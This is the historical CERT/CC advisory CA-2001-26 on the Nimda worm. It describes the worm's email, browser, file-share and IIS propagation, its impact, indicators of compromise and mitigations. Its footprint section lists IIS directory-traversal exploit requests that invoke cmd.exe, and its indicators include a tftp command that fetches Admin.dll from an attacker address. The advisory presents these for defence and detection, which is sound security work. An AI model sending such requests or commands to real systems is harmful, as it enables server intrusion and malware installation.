Child pages
  • CERT Advisory CA-2001-26 Nimda Worm

Pages in the Historical section of this site are provided for historical purposes, they are no longer maintained. Links may not work.

Skip to end of metadata
Go to start of metadata
Original release date: September 18, 2001
Revised: September 25, 2001
Source: CERT/CC

A complete revision history is at the end of this file.

Systems Affected

  • Systems running Microsoft Windows 95, 98, ME, NT, and 2000


The CERT/CC has received reports of new malicious code known as the "W32/Nimda worm" or the "Concept Virus (CV) v.5." This new worm appears to spread by multiple mechanisms:

The worm modifies web documents (e.g., .htm, .html, and .asp files) and certain executable files found on the systems it infects, and creates numerous copies of itself under various file names.

We have also received reports of denial of service as a result of network scanning and email propagation.

I. Description

The Nimda worm has the potential to affect both user workstations (clients) running Windows 95, 98, ME, NT, or 2000 and servers running Windows NT and 2000.

Email Propagation

This worm propagates through email arriving as a MIME "multipart/alternative" message consisting of two sections. The first section is defined as MIME type "text/html", but it contains no text, so the email appears to have no content. The second section is defined as MIME type "audio/x-wav", but it contains a base64-encoded attachment named "readme.exe", which is a binary executable.

Due to a vulnerability described in CA-2001-06 (Automatic Execution of Embedded MIME Types), any mail software running on an x86 platform that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2) to render the HTML mail automatically runs the enclosed attachment and, as result, infects the machine with the worm. Thus, in vulnerable configurations, the worm payload will automatically be triggered by simply opening (or previewing) this mail message. As an executable binary, the payload can also be triggered by simply running the attachment.

The email message delivering the Nimda worm appears to also have the following characteristics:

  • The text in the subject line of the mail message appears to be variable.

  • There appear to be many slight variations in the attached binary file, causing the MD5 checksum to be different when one compares different attachments from different email messages. However, the file length of the attachment appears to consistently be 57344 bytes.

The worm also contains code that will attempt to resend the infected email messages every 10 days.


The email addresses targeted for receiving the worm are harvested from two sources

  • the .htm and .html files in the user's web cache folder
  • the contents of the user's email messages retrieved via the MAPI service

These files are passed through a simple pattern matcher which collects strings that look like email addresses. These addresses then receive a copy of the worm as a MIME-encoded email attachment. Nimda stores the time the last batch of emails were sent in the Windows registry, and every 10 days will repeat the process of harvesting addresses and sending the worm via email.

Likewise, the client machines begin scanning for vulnerable IIS servers. Nimda looks for backdoors left by previous IIS worms: Code Red II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also attempts to exploit various IIS Directory Traversal vulnerabilities (VU#111677 and CA-2001-12). The selection of potential target IP addresses follows these rough probabilities:

  • 50% of the time, an address with the same first two octets will be chosen
  • 25% of the time, an address with the same first octet will be chosen
  • 25% of the time, a random address will be chosen
The infected client machine attempts to transfer a copy of the Nimda code via tftp (69/UDP) to any IIS server that it scans and finds to be vulnerable.

Once running on the server machine, the worm traverses each directory in the system (including all those accessible through file shares) and writes a MIME-encoded copy of itself to disk using file names with .eml or .nws extensions (e.g., readme.eml). When a directory containing web content (e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended to every one of these web-related files:

Example: Javascript snippet

This modification of web content allows further propagation of the worm to new clients through a web browser or through the browsing of a network file system.

In order to further expose the machine, the worm

  • enables the sharing of the c: drive as C$
  • creates a "Guest" account on Windows NT and 2000 systems
  • adds this account to the "Administrator" group.

Furthermore, the Nimda worm infects existing binaries on the system by creating Trojan horse copies of legitimate applications. These Trojan horse versions of the applications will first execute the Nimda code (further infecting the system and potentially propagating the worm), and then complete their intended function.

Browser Propagation

As part of the infection process, the Nimda worm modifies all web content files it finds (including, but not limited to, files with .htm, .html, and .asp extensions). As a result, any user browsing web content on the system, whether via the file system or via a web server, may download a copy of the worm. Some browsers may automatically execute the downloaded copy, thereby infecting the browsing system.

File System Propagation

The Nimda worm creates numerous MIME-encoded copies of itself (using file names with .eml and .nws extensions) in all writable directories (including those found on a network share) to which the user has access. If a user on another system subsequently selects the copy of the worm file on the shared network drive in Windows Explorer with the preview option enabled, the worm may be able to compromise that system.

Additionally, by creating Trojan horse versions of legitimate applications already installed on the system, users may unknowingly trigger the worm when attempting to make use of these programs.

System FootPrint

The scanning activity of the Nimda worm produces the following log entries for any web server listing on port 80/tcp:
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
Note: The first four entries in these sample logs denote attempts to connect to the backdoor left by Code Red II, while the remaining log entries are examples of exploit attempts for the Directory Traversal vulnerability.

II. Impact

Intruders can execute arbitrary commands within the LocalSystem security context on machines running the unpatched versions of IIS. In the case where a client is compromised, the worm will be run with the same privileges as the user who triggered it. Hosts that have been compromised are also at high risk for being party to attacks on other Internet sites.

The high scanning rate of the Nimda worm may also cause bandwidth denial-of-service conditions on networks with infected machines.

III. Solutions

Recommendations for System Administrators of IIS machines

To determine if your system has been compromised, look for the following:

  • a root.exe file (indicates a compromise by Code Red II or sadmind/IIS worms making the system vulnerable to the Nimda worm)
  • an Admin.dll file in the root directory of c:\, d:\, or e:\ (Note that the file name Admin.dll may be legitimately installed by IIS in other directories.)
  • unexpected .eml or .nws files in numerous directories
  • the presence of this string: /c+tftp%20-i%20x.x.x.x%20GET%20Admin.dll%20d:\Admin.dll 200 in the IIS logs, where "x.x.x.x" is the IP address of the attacking system. (Note that only the "200" result code indicates success of this command.)

The only safe way to recover from the system compromise is to format the system drive(s) and reinstall the system software from trusted media (such as vendor-supplied CD-ROM). Additionally, after the software is reinstalled, all vendor-supplied security patches must be applied. The recommended time to do this is while the system is not connected to any network. However, if sufficient care is taken to disable all server network services, then the patches can be downloaded from the Internet.

Detailed instructions for recovering your system can be found in the CERT/CC tech tip:

Steps for Recovering from a UNIX or NT System Compromise

Apply the appropriate patch from your vendor

A cumulative patch which addresses all of the IIS-related vulnerabilities exploited by the Nimda worm is available from Microsoft at

Recommendations for Network Administrators

Ingress filtering

Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound connections from the public Internet. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound connections to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound connections to non-authortized services. With Nimda, ingress filtering of port 80/tcp could prevent instances of the worm outside of your network from scanning or infecting vulnerable IIS servers in the local network that are not explicitly authorized to provide public web services. Filtering of port 69/udp will also prevent the downloading of the worm to IIS via tftp.

Cisco has published a tech tip specifically addressing filtering guidelines to mitigate the impact of the Nimda worm at

Egress filtering

Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound connections to the Internet. In the case of Nimda, employing egress filtering on port 69/udp at your network border will prevent certain aspects of the worms propogation both to and from your network.

Recommendations for End User Systems

Apply the appropriate patch from your vendor

If you are running a vulnerable version of Internet Explorer (IE), the CERT/CC recommends upgrading to at least version 5.0 since older versions are no longer officially maintained by Microsoft. Users of IE 5.0 and above are encourage to apply patch for the "Automatic Execution of Embedded MIME Types" vulnerability available from Microsoft at

Note: IE 5.5 SP1 users should apply the patches discussed in MS01-027

Run and Maintain an Anti-Virus Product

It is important for users to update their anti-virus software. Most anti-virus software vendors have released updated information, tools, or virus databases to help detect and partially recover from this malicious code. A list of vendor-specific anti-virus information can be found in Appendix A.

Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates when available.

Don't open e-mail attachments

The Nimda worm may arrive as an email attachment named "readme.exe". Users should not open this attachment.

Disable JavaScript

End-user systems can become infected with the Nimda worm by browsing web sites hosted by infected servers. This method of infection requires the use of JavaScript to be successful. Therefore, the CERT/CC recommends that end user systems disable JavaScript until all appropriate patches have been applied and anti-virus software has been updated.

Appendix A. Vendor Information

Antivirus Vendor Information

Aladdin Knowledge Systems

Central Command, Inc.

Command Software Systems

Computer Associates

F-Secure Corp


Panda Software

Proland Software



Trend Micro


You may wish to visit the CERT/CC's computer virus resources page located at

Feedback on this document may be directed to the authors, Roman Danyliw, Chad Dougherty,
Allen Householder, Robin Ruefle.

Copyright 2001 Carnegie Mellon University.

Revision History

September 18, 2001: Initial Release
September 19, 2001: Updated link to MS advisory MS01-027
September 19, 2001: Updated antivirus vendor information,
                    updated e-mail propagation description,
                    added reference to second related IIS vul
September 20, 2001: Added link to Computer Associates in vendor information,
                    Updated overview, payload, file system propagation, and 
                    recommendations for system administrator sections
September 20, 2001: Fix link to CA-2001-12 in payload section
September 21, 2001: Added recommendations for network administrators,
                    updated payload section, updated vendor information
                    clarified recommendations for end user systems
September 25, 2001: Qualified note concerning MS01-027  
  • No labels